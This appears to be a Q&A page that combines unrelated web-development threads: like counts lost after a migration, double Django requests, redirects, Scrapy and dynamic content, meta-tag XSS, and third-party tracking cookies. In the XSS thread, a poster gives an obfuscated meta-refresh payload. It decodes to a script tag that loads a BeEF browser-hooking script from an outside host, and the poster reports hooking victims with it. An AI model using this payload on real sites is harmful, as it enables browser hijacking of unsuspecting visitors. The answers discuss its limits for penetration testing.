I have migrated my website from Joomla to RubyOnRails, but, I've noticed that number of likes has changed at the same URL!
It was about 780 in the old website, then it became 35 in the new one
What possible reasons it could be?
The most likely reason would be that the URLs are not exactly the same. Most likely due to a query string at the end of the URL.
If you are positive that isn't it, check to see that the source for calling the facebook like button is the same.
This is a long shot, but if it still isn't fixed, you might want to compare the meta data inside the head tag and look for differences there.
<link rel="canonical" href="http://my.website.com" />
would be one that comes to mind.
Related
I'm creating a classifieds website in Django. A single view function handles global listings, city-wise listings, barter-only global listings and barter-only city-wise listings. This view is called ads.
The url patterns are written in the following order (note that each has a unique name although it's tied to the same ads view):
urlpatterns = patterns('',
url(r'^buy_and_sell/$', ads,name='classified_listing'),
url(r'^buy_and_sell/barter/$', ads,name='barter_classified_listing'),
url(r'^buy_and_sell/barter/(?P<city>[\w.#+-]+)/$', ads,name='city_barter_classified_listing'),
url(r'^buy_and_sell/(?P<city>[\w.#+-]+)/$', ads,name='city_classified_listing'),
)
The problem is that when I hit the url named classified_listing in the list above, the function ads gets called twice. I.e. here's what I see in my terminal:
[14/Jul/2017 14:31:08] "GET /buy_and_sell/ HTTP/1.1" 200 53758
[14/Jul/2017 14:31:08] "GET /buy_and_sell/None/ HTTP/1.1" 200 32882
This means double the processing. I thought urls.py returns the first url pattern matched. What am I doing wrong and what's the best way to fix this? All other calls work as expected btw (i.e. only once).
Note: Ask for more information in case I've missed something.
Great explanation to understand these type of occurences: https://groups.google.com/d/msg/django-users/CRMMYWix_60/KEIkguUcqxYJ
This issue has nothing to do with how url patterns are ordered in urls.py.
Like pointed out in the comments under the question, this has to do with problematic asset references in the HTML template.
What does that mean?
For instance, try curl -i http://localhost:8000/example/ >> output.txt in your terminal. Then open up output.txt in your editor of choice. Now search for href or src attributes where values are None (or otherwise malformed). That's one reason a double call is being created. That was the reason for me. I removed these, and the double call disappeared.
There's this old - but relevant - writeup about how to comprehensively diagnose this problem on your machine here: https://groups.google.com/forum/#!msg/django-users/CRMMYWix_60/KEIkguUcqxYJ
Happy testing.
As I can't comment on other answers, just to add for future wanderers that for me the "problem" was in a correctly formed but yet for the browser instructing <iframe src="#"..> tag. On django server the view was rendering twice, once with original request and then again by the hidden iframe element that I used for some of the modal popups later in the page usage.
After emptying the src attribute like <iframe src=""..> a second request is no longer initiated and my modals work fine.
The solution actually is from the link posted already in answers before [https://groups.google.com/forum/#!msg/django-users/CRMMYWix_60/KEIkguUcqxYJ][1]
where it is explained:
Note that it's a URI. That means something that is retrieved. Since
you've used the value "#fff", that will be interpreted by the browser as
a reference to the current page (#fff being an anchor, and not passed to
the server). Ergo, a second request is made.
that the iframe src # (anchor) is instructing the browser to load again the same URL, for the iframe element in my case.
I indeed had several style elements with #fff colors inside and whatnot, but this wasn't it, as browsers are smart enough to recognize this is not an anchor.
With available tools (browser only) I found to be easy to debug and find these initiation href/src attributes over the Network tab of your browser developer tools - in Chrome is just by clicking the Initiator link of the corresponding row - giving you the exact line from the page source that initiated the request to the same URL.
I struggled with the same problem and just wanted to share my experience with it. I had double requests all over my application but everything seemed to work as expected apart form it.
What Daniel Rossman pointet out in the comments was actually also true for my problem. I had a <link rel="shortcut icon" href="#"> in my base template which caused the double request, because of the #, which is a reference to the page itself. Once i removed it, i had no double requests anymore.
Hope this answer can save someone some debugging time.
I got double request in view function, in my scenario, this went wrong:
<img id="profile-img" src="#" alt="" class="profile-cover">
by setting src="" dismiss double request. it was a silly thing, I just thought it apply to a then must apply to img, but img actually send another request.
Recently, we restructured a large site of one of our customers. This caused all the news-articels on that site to be on a different place. Problem is that the google cache is still showing them on the old location, leading to A LOT of 404 not founds ( its about 1400 news entries ).
Normally, a redirect using somewhat simple regex would be fine, but not only the path to the news did change, but also some parameters. Example:
Old Url:
http://www.customers-url.com/old/path/to/the/news/details/?tx_ttnews%5Btt_news%5D=67&cHash=a782f3027c4d00face6df122a76c38ed
How the new url should look like:
http://www.customers-url.com/new/path/to/news/?tx_news_pi1%5Bnews%5D=65
As you can see, the parameter D did change from 67 to 65 and the part of the URL before the ? did also change. Also, tx_ttnews has changed to tx_news and tt_news changed to news and the &cHash part did fall away completely.
I have the changed ids in a csv in the following format:
old_id, new_id
1,2
2,3
...etc...
Same goes the the changed url part before the ?. Since im not exactly an expert in using regex my question is:
Can this be done inside the .htaccess using RegEx ( not sure if it can even use a file as input)? How complicated is that? And how would such a regular expression look like?
Rather than trying to use .htaccess, it would be easier to manage and easier to code if you simply make a new page that responds on the old url (/old/path/to/the/news/details), then make that page build the new url and return a 301 to the browser with that new url.
Thanks for everyone in advance.
I encountered a problem when using Scrapy on Python 2.7.
The webpage I tried to crawl is a discussion board for Chinese stock market.
When I tried to get the first number "42177" just under the banner of this page (the number you see on that webpage may not be the number you see in the picture shown here, because it represents the number of times this article has been read and is updated realtime...), I always get an empty content. I am aware that this might be the dynamic content issue, but yet don't have a clue how to crawl it properly.
The code I used is:
item["read"] = info.xpath("div[#id='zwmbti']/div[#id='zwmbtilr']/span[#class='tc1']/text()").extract()
I think the xpath is set correctly and I have checked the return value of this response and it indeed told me that there is nothing under this directory. Results shown here:'read': [u'<div id="zwmbtilr"></div>']
If it has something, there should be something between <div id="zwmbtilr"> and </div>.
Really appreciated if you guys share any thoughts on this!
I just opened your link in Firefox with NoScript enabled. There nothing inside the <div #id='zwmbtilr'></div>. If I enable the javascripts, I can see the content you want. So, as you already new, it is a dynamic content issue.
Your first option is try to identify the request generated by javascript. If you can do that, you can send the same request from scrapy. If you can't do it, the next option is usually to use some package with javascript/browser emulation or someting like that. Something like ScrapyJS or Scrapy + Selenium.
Some professional pentester guy told me this xss test vector is useless for pentest.And the payload seems like this:
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
but when i'm save the code to a HTML file with more powerful javascript like hook.js (from beef exploit framework).
<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%36%30%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%33%32%2C%31%31%35%2C%31%31%34%2C%39%39%2C%36%31%2C%31%30%34%2C%31%31%36%2C%31%31%36%2C%31%31%32%2C%35%38%2C%34%37%2C%34%37%2C%31%31%32%2C%31%30%38%2C%31%30%31%2C%39%38%2C%31%31%35%2C%34%36%2C%31%30%39%2C%31%30%31%2C%34%37%2C%34%38%2C%34%36%2C%31%30%36%2C%31%31%35%2C%36%32%2C%36%30%2C%34%37%2C%31%31%35%2C%39%39%2C%31%31%34%2C%31%30%35%2C%31%31%32%2C%31%31%36%2C%36%32%29%29%3C%2F%73%63%72%69%70%74%3E">
it works perfectly on firefox and chrome.i can see the victim online with my beef exploit framework and a lot of function is available.
I dont really get it.what's wrong with this payload.I have asked this question several times but there is no response from him . it makes me very confuse.Is there any body can tell me why he said this one is useless for pentest.
XSS through a meta tag is highly dependent on the browser used by the target victim. A meta tag such as <meta http-equiv="refresh" content="0;url=javascript:alert(1)"> will fire malicious javascript on the hosting domain, but will only work in Safari; all other browsers refuse to follow a location: javascript: header.
When using a data URI in the tag, the browser will load the decoded payload into a null domain and any javascript will be fired in the context of a null domain. While this can still be used to fire redirects, XHR, and other such attacks it is useless for accessing anything on the hosting domain. This attack will also not work in IE since it only allows data URIs for image type elements, and I think that is even restricted to style/css.
Though meta tag injections are only successful for XSS in very limited capacity, they are still very dangerous in other attacks and are worth testing.
As far as I remember data:-URIs are loaded as a separate origin, so you cannot access the vulnerable site from the injected script. However this could be used to deliver an exploit or for phishing, so I wouldnt call it totally useless.
I wrote a simple pixel tracking program that works something like this
Step 1) tracker.com sets a cookie
Step 2) mysite.com displays <img src="tracker.com/tracking.php">. That image reads the cookie from Step 1 & does some processing.
Works great in Chrome, Firefox and Safari. But when tested in IE, the cookie can't be read in Step 2. It's as if the cookie doesn't exist -- but I know it does.
Any idea why IE pretends the cookie doesn't exist? I've tried messing with P3P headers, no luck.
Does your domain have a privacy policy? I forget what it's called, maybe p3p? Some random list of headers that you have to add.
Try adding the domain in the src attribute to trusted sites in IE. My guess is this is security, and you've got a rather arcane security measure you're coming up against.
If the cookie setting domain is 2 letters, I believe there is a bug within IE that prevents IE from doing cookies properly with 2 letter domains. If it isn't 2 letters, then nevermind.
It may be that IE is blocking 3rd-party cookies.
Its tricky without knowing more specifics of its use, but I'm trying at this late hour to figure out how to clone the cookie for the current domain using REMOTE_ADDR
So, the first answer was more about testing... try using JS to handle this -
From site-reference.com forums..
<script type='text/javascript'>
var track = new Image();
track.src="http://www.my-site.com/tracker.php?self=" + this.location;
</script>
*NOTE: Capital "I" in image, not lowercase!
Let us know! :D
Fred